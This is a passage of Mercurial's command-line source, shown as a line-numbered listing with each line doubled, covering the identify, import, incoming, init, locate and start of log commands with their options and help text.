3962 [fm.hexfunc(p.node()) for p in parents], name=b'node'
3962 [fm.hexfunc(p.node()) for p in parents], name=b'node'
3963 )
3963 )
3964 )
3964 )
3965 else:
3965 else:
3966 hexoutput = fm.hexfunc(ctx.node())
3966 hexoutput = fm.hexfunc(ctx.node())
3967 if default or id:
3967 if default or id:
3968 output = [hexoutput]
3968 output = [hexoutput]
3969 fm.data(id=hexoutput)
3969 fm.data(id=hexoutput)
3970
3970
3971 if num:
3971 if num:
3972 output.append(pycompat.bytestr(ctx.rev()))
3972 output.append(pycompat.bytestr(ctx.rev()))
3973 taglist = ctx.tags()
3973 taglist = ctx.tags()
3974
3974
3975 if default and not ui.quiet:
3975 if default and not ui.quiet:
3976 b = ctx.branch()
3976 b = ctx.branch()
3977 if b != b'default':
3977 if b != b'default':
3978 output.append(b"(%s)" % b)
3978 output.append(b"(%s)" % b)
3979
3979
3980 # multiple tags for a single parent separated by '/'
3980 # multiple tags for a single parent separated by '/'
3981 t = b'/'.join(taglist)
3981 t = b'/'.join(taglist)
3982 if t:
3982 if t:
3983 output.append(t)
3983 output.append(t)
3984
3984
3985 # multiple bookmarks for a single parent separated by '/'
3985 # multiple bookmarks for a single parent separated by '/'
3986 bm = b'/'.join(ctx.bookmarks())
3986 bm = b'/'.join(ctx.bookmarks())
3987 if bm:
3987 if bm:
3988 output.append(bm)
3988 output.append(bm)
3989 else:
3989 else:
3990 if branch:
3990 if branch:
3991 output.append(ctx.branch())
3991 output.append(ctx.branch())
3992
3992
3993 if tags:
3993 if tags:
3994 output.extend(taglist)
3994 output.extend(taglist)
3995
3995
3996 if bookmarks:
3996 if bookmarks:
3997 output.extend(ctx.bookmarks())
3997 output.extend(ctx.bookmarks())
3998
3998
3999 fm.data(node=ctx.hex())
3999 fm.data(node=ctx.hex())
4000 fm.data(branch=ctx.branch())
4000 fm.data(branch=ctx.branch())
4001 fm.data(tags=fm.formatlist(taglist, name=b'tag', sep=b':'))
4001 fm.data(tags=fm.formatlist(taglist, name=b'tag', sep=b':'))
4002 fm.data(bookmarks=fm.formatlist(ctx.bookmarks(), name=b'bookmark'))
4002 fm.data(bookmarks=fm.formatlist(ctx.bookmarks(), name=b'bookmark'))
4003 fm.context(ctx=ctx)
4003 fm.context(ctx=ctx)
4004
4004
4005 fm.plain(b"%s\n" % b' '.join(output))
4005 fm.plain(b"%s\n" % b' '.join(output))
4006 fm.end()
4006 fm.end()
4007 finally:
4007 finally:
4008 if peer:
4008 if peer:
4009 peer.close()
4009 peer.close()
4010
4010
4011
4011
4012 @command(
4012 @command(
4013 b'import|patch',
4013 b'import|patch',
4014 [
4014 [
4015 (
4015 (
4016 b'p',
4016 b'p',
4017 b'strip',
4017 b'strip',
4018 1,
4018 1,
4019 _(
4019 _(
4020 b'directory strip option for patch. This has the same '
4020 b'directory strip option for patch. This has the same '
4021 b'meaning as the corresponding patch option'
4021 b'meaning as the corresponding patch option'
4022 ),
4022 ),
4023 _(b'NUM'),
4023 _(b'NUM'),
4024 ),
4024 ),
4025 (b'b', b'base', b'', _(b'base path (DEPRECATED)'), _(b'PATH')),
4025 (b'b', b'base', b'', _(b'base path (DEPRECATED)'), _(b'PATH')),
4026 (b'', b'secret', None, _(b'use the secret phase for committing')),
4026 (b'', b'secret', None, _(b'use the secret phase for committing')),
4027 (b'e', b'edit', False, _(b'invoke editor on commit messages')),
4027 (b'e', b'edit', False, _(b'invoke editor on commit messages')),
4028 (
4028 (
4029 b'f',
4029 b'f',
4030 b'force',
4030 b'force',
4031 None,
4031 None,
4032 _(b'skip check for outstanding uncommitted changes (DEPRECATED)'),
4032 _(b'skip check for outstanding uncommitted changes (DEPRECATED)'),
4033 ),
4033 ),
4034 (
4034 (
4035 b'',
4035 b'',
4036 b'no-commit',
4036 b'no-commit',
4037 None,
4037 None,
4038 _(b"don't commit, just update the working directory"),
4038 _(b"don't commit, just update the working directory"),
4039 ),
4039 ),
4040 (
4040 (
4041 b'',
4041 b'',
4042 b'bypass',
4042 b'bypass',
4043 None,
4043 None,
4044 _(b"apply patch without touching the working directory"),
4044 _(b"apply patch without touching the working directory"),
4045 ),
4045 ),
4046 (b'', b'partial', None, _(b'commit even if some hunks fail')),
4046 (b'', b'partial', None, _(b'commit even if some hunks fail')),
4047 (b'', b'exact', None, _(b'abort if patch would apply lossily')),
4047 (b'', b'exact', None, _(b'abort if patch would apply lossily')),
4048 (b'', b'prefix', b'', _(b'apply patch to subdirectory'), _(b'DIR')),
4048 (b'', b'prefix', b'', _(b'apply patch to subdirectory'), _(b'DIR')),
4049 (
4049 (
4050 b'',
4050 b'',
4051 b'import-branch',
4051 b'import-branch',
4052 None,
4052 None,
4053 _(b'use any branch information in patch (implied by --exact)'),
4053 _(b'use any branch information in patch (implied by --exact)'),
4054 ),
4054 ),
4055 ]
4055 ]
4056 + commitopts
4056 + commitopts
4057 + commitopts2
4057 + commitopts2
4058 + similarityopts,
4058 + similarityopts,
4059 _(b'[OPTION]... PATCH...'),
4059 _(b'[OPTION]... PATCH...'),
4060 helpcategory=command.CATEGORY_IMPORT_EXPORT,
4060 helpcategory=command.CATEGORY_IMPORT_EXPORT,
4061 )
4061 )
4062 def import_(ui, repo, patch1=None, *patches, **opts):
4062 def import_(ui, repo, patch1=None, *patches, **opts):
4063 """import an ordered set of patches
4063 """import an ordered set of patches
4064
4064
4065 Import a list of patches and commit them individually (unless
4065 Import a list of patches and commit them individually (unless
4066 --no-commit is specified).
4066 --no-commit is specified).
4067
4067
4068 To read a patch from standard input (stdin), use "-" as the patch
4068 To read a patch from standard input (stdin), use "-" as the patch
4069 name. If a URL is specified, the patch will be downloaded from
4069 name. If a URL is specified, the patch will be downloaded from
4070 there.
4070 there.
4071
4071
4072 Import first applies changes to the working directory (unless
4072 Import first applies changes to the working directory (unless
4073 --bypass is specified), import will abort if there are outstanding
4073 --bypass is specified), import will abort if there are outstanding
4074 changes.
4074 changes.
4075
4075
4076 Use --bypass to apply and commit patches directly to the
4076 Use --bypass to apply and commit patches directly to the
4077 repository, without affecting the working directory. Without
4077 repository, without affecting the working directory. Without
4078 --exact, patches will be applied on top of the working directory
4078 --exact, patches will be applied on top of the working directory
4079 parent revision.
4079 parent revision.
4080
4080
4081 You can import a patch straight from a mail message. Even patches
4081 You can import a patch straight from a mail message. Even patches
4082 as attachments work (to use the body part, it must have type
4082 as attachments work (to use the body part, it must have type
4083 text/plain or text/x-patch). From and Subject headers of email
4083 text/plain or text/x-patch). From and Subject headers of email
4084 message are used as default committer and commit message. All
4084 message are used as default committer and commit message. All
4085 text/plain body parts before first diff are added to the commit
4085 text/plain body parts before first diff are added to the commit
4086 message.
4086 message.
4087
4087
4088 If the imported patch was generated by :hg:`export`, user and
4088 If the imported patch was generated by :hg:`export`, user and
4089 description from patch override values from message headers and
4089 description from patch override values from message headers and
4090 body. Values given on command line with -m/--message and -u/--user
4090 body. Values given on command line with -m/--message and -u/--user
4091 override these.
4091 override these.
4092
4092
4093 If --exact is specified, import will set the working directory to
4093 If --exact is specified, import will set the working directory to
4094 the parent of each patch before applying it, and will abort if the
4094 the parent of each patch before applying it, and will abort if the
4095 resulting changeset has a different ID than the one recorded in
4095 resulting changeset has a different ID than the one recorded in
4096 the patch. This will guard against various ways that portable
4096 the patch. This will guard against various ways that portable
4097 patch formats and mail systems might fail to transfer Mercurial
4097 patch formats and mail systems might fail to transfer Mercurial
4098 data or metadata. See :hg:`bundle` for lossless transmission.
4098 data or metadata. See :hg:`bundle` for lossless transmission.
4099
4099
4100 Use --partial to ensure a changeset will be created from the patch
4100 Use --partial to ensure a changeset will be created from the patch
4101 even if some hunks fail to apply. Hunks that fail to apply will be
4101 even if some hunks fail to apply. Hunks that fail to apply will be
4102 written to a <target-file>.rej file. Conflicts can then be resolved
4102 written to a <target-file>.rej file. Conflicts can then be resolved
4103 by hand before :hg:`commit --amend` is run to update the created
4103 by hand before :hg:`commit --amend` is run to update the created
4104 changeset. This flag exists to let people import patches that
4104 changeset. This flag exists to let people import patches that
4105 partially apply without losing the associated metadata (author,
4105 partially apply without losing the associated metadata (author,
4106 date, description, ...).
4106 date, description, ...).
4107
4107
4108 .. note::
4108 .. note::
4109
4109
4110 When no hunks apply cleanly, :hg:`import --partial` will create
4110 When no hunks apply cleanly, :hg:`import --partial` will create
4111 an empty changeset, importing only the patch metadata.
4111 an empty changeset, importing only the patch metadata.
4112
4112
4113 With -s/--similarity, hg will attempt to discover renames and
4113 With -s/--similarity, hg will attempt to discover renames and
4114 copies in the patch in the same way as :hg:`addremove`.
4114 copies in the patch in the same way as :hg:`addremove`.
4115
4115
4116 It is possible to use external patch programs to perform the patch
4116 It is possible to use external patch programs to perform the patch
4117 by setting the ``ui.patch`` configuration option. For the default
4117 by setting the ``ui.patch`` configuration option. For the default
4118 internal tool, the fuzz can also be configured via ``patch.fuzz``.
4118 internal tool, the fuzz can also be configured via ``patch.fuzz``.
4119 See :hg:`help config` for more information about configuration
4119 See :hg:`help config` for more information about configuration
4120 files and how to use these options.
4120 files and how to use these options.
4121
4121
4122 See :hg:`help dates` for a list of formats valid for -d/--date.
4122 See :hg:`help dates` for a list of formats valid for -d/--date.
4123
4123
4124 .. container:: verbose
4124 .. container:: verbose
4125
4125
4126 Examples:
4126 Examples:
4127
4127
4128 - import a traditional patch from a website and detect renames::
4128 - import a traditional patch from a website and detect renames::
4129
4129
4130 hg import -s 80 http://example.com/bugfix.patch
4130 hg import -s 80 http://example.com/bugfix.patch
4131
4131
4132 - import a changeset from an hgweb server::
4132 - import a changeset from an hgweb server::
4133
4133
4134 hg import https://www.mercurial-scm.org/repo/hg/rev/5ca8c111e9aa
4134 hg import https://www.mercurial-scm.org/repo/hg/rev/5ca8c111e9aa
4135
4135
4136 - import all the patches in an Unix-style mbox::
4136 - import all the patches in an Unix-style mbox::
4137
4137
4138 hg import incoming-patches.mbox
4138 hg import incoming-patches.mbox
4139
4139
4140 - import patches from stdin::
4140 - import patches from stdin::
4141
4141
4142 hg import -
4142 hg import -
4143
4143
4144 - attempt to exactly restore an exported changeset (not always
4144 - attempt to exactly restore an exported changeset (not always
4145 possible)::
4145 possible)::
4146
4146
4147 hg import --exact proposed-fix.patch
4147 hg import --exact proposed-fix.patch
4148
4148
4149 - use an external tool to apply a patch which is too fuzzy for
4149 - use an external tool to apply a patch which is too fuzzy for
4150 the default internal tool.
4150 the default internal tool.
4151
4151
4152 hg import --config ui.patch="patch --merge" fuzzy.patch
4152 hg import --config ui.patch="patch --merge" fuzzy.patch
4153
4153
4154 - change the default fuzzing from 2 to a less strict 7
4154 - change the default fuzzing from 2 to a less strict 7
4155
4155
4156 hg import --config ui.fuzz=7 fuzz.patch
4156 hg import --config ui.fuzz=7 fuzz.patch
4157
4157
4158 Returns 0 on success, 1 on partial success (see --partial).
4158 Returns 0 on success, 1 on partial success (see --partial).
4159 """
4159 """
4160
4160
4161 cmdutil.check_incompatible_arguments(
4161 cmdutil.check_incompatible_arguments(
4162 opts, 'no_commit', ['bypass', 'secret']
4162 opts, 'no_commit', ['bypass', 'secret']
4163 )
4163 )
4164 cmdutil.check_incompatible_arguments(opts, 'exact', ['edit', 'prefix'])
4164 cmdutil.check_incompatible_arguments(opts, 'exact', ['edit', 'prefix'])
4165 opts = pycompat.byteskwargs(opts)
4165 opts = pycompat.byteskwargs(opts)
4166 if not patch1:
4166 if not patch1:
4167 raise error.InputError(_(b'need at least one patch to import'))
4167 raise error.InputError(_(b'need at least one patch to import'))
4168
4168
4169 patches = (patch1,) + patches
4169 patches = (patch1,) + patches
4170
4170
4171 date = opts.get(b'date')
4171 date = opts.get(b'date')
4172 if date:
4172 if date:
4173 opts[b'date'] = dateutil.parsedate(date)
4173 opts[b'date'] = dateutil.parsedate(date)
4174
4174
4175 exact = opts.get(b'exact')
4175 exact = opts.get(b'exact')
4176 update = not opts.get(b'bypass')
4176 update = not opts.get(b'bypass')
4177 try:
4177 try:
4178 sim = float(opts.get(b'similarity') or 0)
4178 sim = float(opts.get(b'similarity') or 0)
4179 except ValueError:
4179 except ValueError:
4180 raise error.InputError(_(b'similarity must be a number'))
4180 raise error.InputError(_(b'similarity must be a number'))
4181 if sim < 0 or sim > 100:
4181 if sim < 0 or sim > 100:
4182 raise error.InputError(_(b'similarity must be between 0 and 100'))
4182 raise error.InputError(_(b'similarity must be between 0 and 100'))
4183 if sim and not update:
4183 if sim and not update:
4184 raise error.InputError(_(b'cannot use --similarity with --bypass'))
4184 raise error.InputError(_(b'cannot use --similarity with --bypass'))
4185
4185
4186 base = opts[b"base"]
4186 base = opts[b"base"]
4187 msgs = []
4187 msgs = []
4188 ret = 0
4188 ret = 0
4189
4189
4190 with repo.wlock():
4190 with repo.wlock():
4191 if update:
4191 if update:
4192 cmdutil.checkunfinished(repo)
4192 cmdutil.checkunfinished(repo)
4193 if exact or not opts.get(b'force'):
4193 if exact or not opts.get(b'force'):
4194 cmdutil.bailifchanged(repo)
4194 cmdutil.bailifchanged(repo)
4195
4195
4196 if not opts.get(b'no_commit'):
4196 if not opts.get(b'no_commit'):
4197 lock = repo.lock
4197 lock = repo.lock
4198 tr = lambda: repo.transaction(b'import')
4198 tr = lambda: repo.transaction(b'import')
4199 dsguard = util.nullcontextmanager
4199 dsguard = util.nullcontextmanager
4200 else:
4200 else:
4201 lock = util.nullcontextmanager
4201 lock = util.nullcontextmanager
4202 tr = util.nullcontextmanager
4202 tr = util.nullcontextmanager
4203 dsguard = lambda: dirstateguard.dirstateguard(repo, b'import')
4203 dsguard = lambda: dirstateguard.dirstateguard(repo, b'import')
4204 with lock(), tr(), dsguard():
4204 with lock(), tr(), dsguard():
4205 parents = repo[None].parents()
4205 parents = repo[None].parents()
4206 for patchurl in patches:
4206 for patchurl in patches:
4207 if patchurl == b'-':
4207 if patchurl == b'-':
4208 ui.status(_(b'applying patch from stdin\n'))
4208 ui.status(_(b'applying patch from stdin\n'))
4209 patchfile = ui.fin
4209 patchfile = ui.fin
4210 patchurl = b'stdin' # for error message
4210 patchurl = b'stdin' # for error message
4211 else:
4211 else:
4212 patchurl = os.path.join(base, patchurl)
4212 patchurl = os.path.join(base, patchurl)
4213 ui.status(_(b'applying %s\n') % patchurl)
4213 ui.status(_(b'applying %s\n') % patchurl)
4214 patchfile = hg.openpath(ui, patchurl, sendaccept=False)
4214 patchfile = hg.openpath(ui, patchurl, sendaccept=False)
4215
4215
4216 haspatch = False
4216 haspatch = False
4217 for hunk in patch.split(patchfile):
4217 for hunk in patch.split(patchfile):
4218 with patch.extract(ui, hunk) as patchdata:
4218 with patch.extract(ui, hunk) as patchdata:
4219 msg, node, rej = cmdutil.tryimportone(
4219 msg, node, rej = cmdutil.tryimportone(
4220 ui, repo, patchdata, parents, opts, msgs, hg.clean
4220 ui, repo, patchdata, parents, opts, msgs, hg.clean
4221 )
4221 )
4222 if msg:
4222 if msg:
4223 haspatch = True
4223 haspatch = True
4224 ui.note(msg + b'\n')
4224 ui.note(msg + b'\n')
4225 if update or exact:
4225 if update or exact:
4226 parents = repo[None].parents()
4226 parents = repo[None].parents()
4227 else:
4227 else:
4228 parents = [repo[node]]
4228 parents = [repo[node]]
4229 if rej:
4229 if rej:
4230 ui.write_err(_(b"patch applied partially\n"))
4230 ui.write_err(_(b"patch applied partially\n"))
4231 ui.write_err(
4231 ui.write_err(
4232 _(
4232 _(
4233 b"(fix the .rej files and run "
4233 b"(fix the .rej files and run "
4234 b"`hg commit --amend`)\n"
4234 b"`hg commit --amend`)\n"
4235 )
4235 )
4236 )
4236 )
4237 ret = 1
4237 ret = 1
4238 break
4238 break
4239
4239
4240 if not haspatch:
4240 if not haspatch:
4241 raise error.InputError(_(b'%s: no diffs found') % patchurl)
4241 raise error.InputError(_(b'%s: no diffs found') % patchurl)
4242
4242
4243 if msgs:
4243 if msgs:
4244 repo.savecommitmessage(b'\n* * *\n'.join(msgs))
4244 repo.savecommitmessage(b'\n* * *\n'.join(msgs))
4245 return ret
4245 return ret
4246
4246
4247
4247
4248 @command(
4248 @command(
4249 b'incoming|in',
4249 b'incoming|in',
4250 [
4250 [
4251 (
4251 (
4252 b'f',
4252 b'f',
4253 b'force',
4253 b'force',
4254 None,
4254 None,
4255 _(b'run even if remote repository is unrelated'),
4255 _(b'run even if remote repository is unrelated'),
4256 ),
4256 ),
4257 (b'n', b'newest-first', None, _(b'show newest record first')),
4257 (b'n', b'newest-first', None, _(b'show newest record first')),
4258 (b'', b'bundle', b'', _(b'file to store the bundles into'), _(b'FILE')),
4258 (b'', b'bundle', b'', _(b'file to store the bundles into'), _(b'FILE')),
4259 (
4259 (
4260 b'r',
4260 b'r',
4261 b'rev',
4261 b'rev',
4262 [],
4262 [],
4263 _(b'a remote changeset intended to be added'),
4263 _(b'a remote changeset intended to be added'),
4264 _(b'REV'),
4264 _(b'REV'),
4265 ),
4265 ),
4266 (b'B', b'bookmarks', False, _(b"compare bookmarks")),
4266 (b'B', b'bookmarks', False, _(b"compare bookmarks")),
4267 (
4267 (
4268 b'b',
4268 b'b',
4269 b'branch',
4269 b'branch',
4270 [],
4270 [],
4271 _(b'a specific branch you would like to pull'),
4271 _(b'a specific branch you would like to pull'),
4272 _(b'BRANCH'),
4272 _(b'BRANCH'),
4273 ),
4273 ),
4274 ]
4274 ]
4275 + logopts
4275 + logopts
4276 + remoteopts
4276 + remoteopts
4277 + subrepoopts,
4277 + subrepoopts,
4278 _(b'[-p] [-n] [-M] [-f] [-r REV]... [--bundle FILENAME] [SOURCE]'),
4278 _(b'[-p] [-n] [-M] [-f] [-r REV]... [--bundle FILENAME] [SOURCE]'),
4279 helpcategory=command.CATEGORY_REMOTE_REPO_MANAGEMENT,
4279 helpcategory=command.CATEGORY_REMOTE_REPO_MANAGEMENT,
4280 )
4280 )
4281 def incoming(ui, repo, source=b"default", **opts):
4281 def incoming(ui, repo, source=b"default", **opts):
4282 """show new changesets found in source
4282 """show new changesets found in source
4283
4283
4284 Show new changesets found in the specified path/URL or the default
4284 Show new changesets found in the specified path/URL or the default
4285 pull location. These are the changesets that would have been pulled
4285 pull location. These are the changesets that would have been pulled
4286 by :hg:`pull` at the time you issued this command.
4286 by :hg:`pull` at the time you issued this command.
4287
4287
4288 See pull for valid source format details.
4288 See pull for valid source format details.
4289
4289
4290 .. container:: verbose
4290 .. container:: verbose
4291
4291
4292 With -B/--bookmarks, the result of bookmark comparison between
4292 With -B/--bookmarks, the result of bookmark comparison between
4293 local and remote repositories is displayed. With -v/--verbose,
4293 local and remote repositories is displayed. With -v/--verbose,
4294 status is also displayed for each bookmark like below::
4294 status is also displayed for each bookmark like below::
4295
4295
4296 BM1 01234567890a added
4296 BM1 01234567890a added
4297 BM2 1234567890ab advanced
4297 BM2 1234567890ab advanced
4298 BM3 234567890abc diverged
4298 BM3 234567890abc diverged
4299 BM4 34567890abcd changed
4299 BM4 34567890abcd changed
4300
4300
4301 The action taken locally when pulling depends on the
4301 The action taken locally when pulling depends on the
4302 status of each bookmark:
4302 status of each bookmark:
4303
4303
4304 :``added``: pull will create it
4304 :``added``: pull will create it
4305 :``advanced``: pull will update it
4305 :``advanced``: pull will update it
4306 :``diverged``: pull will create a divergent bookmark
4306 :``diverged``: pull will create a divergent bookmark
4307 :``changed``: result depends on remote changesets
4307 :``changed``: result depends on remote changesets
4308
4308
4309 From the point of view of pulling behavior, bookmark
4309 From the point of view of pulling behavior, bookmark
4310 existing only in the remote repository are treated as ``added``,
4310 existing only in the remote repository are treated as ``added``,
4311 even if it is in fact locally deleted.
4311 even if it is in fact locally deleted.
4312
4312
4313 .. container:: verbose
4313 .. container:: verbose
4314
4314
4315 For remote repository, using --bundle avoids downloading the
4315 For remote repository, using --bundle avoids downloading the
4316 changesets twice if the incoming is followed by a pull.
4316 changesets twice if the incoming is followed by a pull.
4317
4317
4318 Examples:
4318 Examples:
4319
4319
4320 - show incoming changes with patches and full description::
4320 - show incoming changes with patches and full description::
4321
4321
4322 hg incoming -vp
4322 hg incoming -vp
4323
4323
4324 - show incoming changes excluding merges, store a bundle::
4324 - show incoming changes excluding merges, store a bundle::
4325
4325
4326 hg in -vpM --bundle incoming.hg
4326 hg in -vpM --bundle incoming.hg
4327 hg pull incoming.hg
4327 hg pull incoming.hg
4328
4328
4329 - briefly list changes inside a bundle::
4329 - briefly list changes inside a bundle::
4330
4330
4331 hg in changes.hg -T "{desc|firstline}\\n"
4331 hg in changes.hg -T "{desc|firstline}\\n"
4332
4332
4333 Returns 0 if there are incoming changes, 1 otherwise.
4333 Returns 0 if there are incoming changes, 1 otherwise.
4334 """
4334 """
4335 opts = pycompat.byteskwargs(opts)
4335 opts = pycompat.byteskwargs(opts)
4336 if opts.get(b'graph'):
4336 if opts.get(b'graph'):
4337 logcmdutil.checkunsupportedgraphflags([], opts)
4337 logcmdutil.checkunsupportedgraphflags([], opts)
4338
4338
4339 def display(other, chlist, displayer):
4339 def display(other, chlist, displayer):
4340 revdag = logcmdutil.graphrevs(other, chlist, opts)
4340 revdag = logcmdutil.graphrevs(other, chlist, opts)
4341 logcmdutil.displaygraph(
4341 logcmdutil.displaygraph(
4342 ui, repo, revdag, displayer, graphmod.asciiedges
4342 ui, repo, revdag, displayer, graphmod.asciiedges
4343 )
4343 )
4344
4344
4345 hg._incoming(display, lambda: 1, ui, repo, source, opts, buffered=True)
4345 hg._incoming(display, lambda: 1, ui, repo, source, opts, buffered=True)
4346 return 0
4346 return 0
4347
4347
4348 cmdutil.check_incompatible_arguments(opts, b'subrepos', [b'bundle'])
4348 cmdutil.check_incompatible_arguments(opts, b'subrepos', [b'bundle'])
4349
4349
4350 if opts.get(b'bookmarks'):
4350 if opts.get(b'bookmarks'):
4351 srcs = urlutil.get_pull_paths(repo, ui, [source])
4351 srcs = urlutil.get_pull_paths(repo, ui, [source])
4352 for path in srcs:
4352 for path in srcs:
4353 source, branches = urlutil.parseurl(
4353 source, branches = urlutil.parseurl(
4354 path.rawloc, opts.get(b'branch')
4354 path.rawloc, opts.get(b'branch')
4355 )
4355 )
4356 other = hg.peer(repo, opts, source)
4356 other = hg.peer(repo, opts, source)
4357 try:
4357 try:
4358 if b'bookmarks' not in other.listkeys(b'namespaces'):
4358 if b'bookmarks' not in other.listkeys(b'namespaces'):
4359 ui.warn(_(b"remote doesn't support bookmarks\n"))
4359 ui.warn(_(b"remote doesn't support bookmarks\n"))
4360 return 0
4360 return 0
4361 ui.pager(b'incoming')
4361 ui.pager(b'incoming')
4362 ui.status(
4362 ui.status(
4363 _(b'comparing with %s\n') % urlutil.hidepassword(source)
4363 _(b'comparing with %s\n') % urlutil.hidepassword(source)
4364 )
4364 )
4365 return bookmarks.incoming(
4365 return bookmarks.incoming(
4366 ui, repo, other, mode=path.bookmarks_mode
4366 ui, repo, other, mode=path.bookmarks_mode
4367 )
4367 )
4368 finally:
4368 finally:
4369 other.close()
4369 other.close()
4370
4370
4371 return hg.incoming(ui, repo, source, opts)
4371 return hg.incoming(ui, repo, source, opts)
4372
4372
4373
4373
4374 @command(
4374 @command(
4375 b'init',
4375 b'init',
4376 remoteopts,
4376 remoteopts,
4377 _(b'[-e CMD] [--remotecmd CMD] [DEST]'),
4377 _(b'[-e CMD] [--remotecmd CMD] [DEST]'),
4378 helpcategory=command.CATEGORY_REPO_CREATION,
4378 helpcategory=command.CATEGORY_REPO_CREATION,
4379 helpbasic=True,
4379 helpbasic=True,
4380 norepo=True,
4380 norepo=True,
4381 )
4381 )
4382 def init(ui, dest=b".", **opts):
4382 def init(ui, dest=b".", **opts):
4383 """create a new repository in the given directory
4383 """create a new repository in the given directory
4384
4384
4385 Initialize a new repository in the given directory. If the given
4385 Initialize a new repository in the given directory. If the given
4386 directory does not exist, it will be created.
4386 directory does not exist, it will be created.
4387
4387
4388 If no directory is given, the current directory is used.
4388 If no directory is given, the current directory is used.
4389
4389
4390 It is possible to specify an ``ssh://`` URL as the destination.
4390 It is possible to specify an ``ssh://`` URL as the destination.
4391 See :hg:`help urls` for more information.
4391 See :hg:`help urls` for more information.
4392
4392
4393 Returns 0 on success.
4393 Returns 0 on success.
4394 """
4394 """
4395 opts = pycompat.byteskwargs(opts)
4395 opts = pycompat.byteskwargs(opts)
4396 path = urlutil.get_clone_path(ui, dest)[1]
4396 path = urlutil.get_clone_path(ui, dest)[1]
4397 peer = hg.peer(ui, opts, path, create=True)
4397 peer = hg.peer(ui, opts, path, create=True)
4398 peer.close()
4398 peer.close()
4399
4399
4400
4400
4401 @command(
4401 @command(
4402 b'locate',
4402 b'locate',
4403 [
4403 [
4404 (
4404 (
4405 b'r',
4405 b'r',
4406 b'rev',
4406 b'rev',
4407 b'',
4407 b'',
4408 _(b'search the repository as it is in REV'),
4408 _(b'search the repository as it is in REV'),
4409 _(b'REV'),
4409 _(b'REV'),
4410 ),
4410 ),
4411 (
4411 (
4412 b'0',
4412 b'0',
4413 b'print0',
4413 b'print0',
4414 None,
4414 None,
4415 _(b'end filenames with NUL, for use with xargs'),
4415 _(b'end filenames with NUL, for use with xargs'),
4416 ),
4416 ),
4417 (
4417 (
4418 b'f',
4418 b'f',
4419 b'fullpath',
4419 b'fullpath',
4420 None,
4420 None,
4421 _(b'print complete paths from the filesystem root'),
4421 _(b'print complete paths from the filesystem root'),
4422 ),
4422 ),
4423 ]
4423 ]
4424 + walkopts,
4424 + walkopts,
4425 _(b'[OPTION]... [PATTERN]...'),
4425 _(b'[OPTION]... [PATTERN]...'),
4426 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
4426 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
4427 )
4427 )
4428 def locate(ui, repo, *pats, **opts):
4428 def locate(ui, repo, *pats, **opts):
4429 """locate files matching specific patterns (DEPRECATED)
4429 """locate files matching specific patterns (DEPRECATED)
4430
4430
4431 Print files under Mercurial control in the working directory whose
4431 Print files under Mercurial control in the working directory whose
4432 names match the given patterns.
4432 names match the given patterns.
4433
4433
4434 By default, this command searches all directories in the working
4434 By default, this command searches all directories in the working
4435 directory. To search just the current directory and its
4435 directory. To search just the current directory and its
4436 subdirectories, use "--include .".
4436 subdirectories, use "--include .".
4437
4437
4438 If no patterns are given to match, this command prints the names
4438 If no patterns are given to match, this command prints the names
4439 of all files under Mercurial control in the working directory.
4439 of all files under Mercurial control in the working directory.
4440
4440
4441 If you want to feed the output of this command into the "xargs"
4441 If you want to feed the output of this command into the "xargs"
4442 command, use the -0 option to both this command and "xargs". This
4442 command, use the -0 option to both this command and "xargs". This
4443 will avoid the problem of "xargs" treating single filenames that
4443 will avoid the problem of "xargs" treating single filenames that
4444 contain whitespace as multiple filenames.
4444 contain whitespace as multiple filenames.
4445
4445
4446 See :hg:`help files` for a more versatile command.
4446 See :hg:`help files` for a more versatile command.
4447
4447
4448 Returns 0 if a match is found, 1 otherwise.
4448 Returns 0 if a match is found, 1 otherwise.
4449 """
4449 """
4450 opts = pycompat.byteskwargs(opts)
4450 opts = pycompat.byteskwargs(opts)
4451 if opts.get(b'print0'):
4451 if opts.get(b'print0'):
4452 end = b'\0'
4452 end = b'\0'
4453 else:
4453 else:
4454 end = b'\n'
4454 end = b'\n'
4455 ctx = logcmdutil.revsingle(repo, opts.get(b'rev'), None)
4455 ctx = logcmdutil.revsingle(repo, opts.get(b'rev'), None)
4456
4456
4457 ret = 1
4457 ret = 1
4458 m = scmutil.match(
4458 m = scmutil.match(
4459 ctx, pats, opts, default=b'relglob', badfn=lambda x, y: False
4459 ctx, pats, opts, default=b'relglob', badfn=lambda x, y: False
4460 )
4460 )
4461
4461
4462 ui.pager(b'locate')
4462 ui.pager(b'locate')
4463 if ctx.rev() is None:
4463 if ctx.rev() is None:
4464 # When run on the working copy, "locate" includes removed files, so
4464 # When run on the working copy, "locate" includes removed files, so
4465 # we get the list of files from the dirstate.
4465 # we get the list of files from the dirstate.
4466 filesgen = sorted(repo.dirstate.matches(m))
4466 filesgen = sorted(repo.dirstate.matches(m))
4467 else:
4467 else:
4468 filesgen = ctx.matches(m)
4468 filesgen = ctx.matches(m)
4469 uipathfn = scmutil.getuipathfn(repo, legacyrelativevalue=bool(pats))
4469 uipathfn = scmutil.getuipathfn(repo, legacyrelativevalue=bool(pats))
4470 for abs in filesgen:
4470 for abs in filesgen:
4471 if opts.get(b'fullpath'):
4471 if opts.get(b'fullpath'):
4472 ui.write(repo.wjoin(abs), end)
4472 ui.write(repo.wjoin(abs), end)
4473 else:
4473 else:
4474 ui.write(uipathfn(abs), end)
4474 ui.write(uipathfn(abs), end)
4475 ret = 0
4475 ret = 0
4476
4476
4477 return ret
4477 return ret
4478
4478
4479
4479
4480 @command(
4480 @command(
4481 b'log|history',
4481 b'log|history',
4482 [
4482 [
4483 (
4483 (
4484 b'f',
4484 b'f',
4485 b'follow',
4485 b'follow',
4486 None,
4486 None,
4487 _(
4487 _(
4488 b'follow changeset history, or file history across copies and renames'
4488 b'follow changeset history, or file history across copies and renames'
4489 ),
4489 ),
4490 ),
4490 ),
4491 (
4491 (
4492 b'',
4492 b'',
4493 b'follow-first',
4493 b'follow-first',
4494 None,
4494 None,
4495 _(b'only follow the first parent of merge changesets (DEPRECATED)'),
4495 _(b'only follow the first parent of merge changesets (DEPRECATED)'),
4496 ),
4496 ),
4497 (
4497 (
4498 b'd',
4498 b'd',
4499 b'date',
4499 b'date',
4500 b'',
4500 b'',
4501 _(b'show revisions matching date spec'),
4501 _(b'show revisions matching date spec'),
4502 _(b'DATE'),
4502 _(b'DATE'),
4503 ),
4503 ),
4504 (b'C', b'copies', None, _(b'show copied files')),
4504 (b'C', b'copies', None, _(b'show copied files')),
4505 (
4505 (
4506 b'k',
4506 b'k',
4507 b'keyword',
4507 b'keyword',
4508 [],
4508 [],
4509 _(b'do case-insensitive search for a given text'),
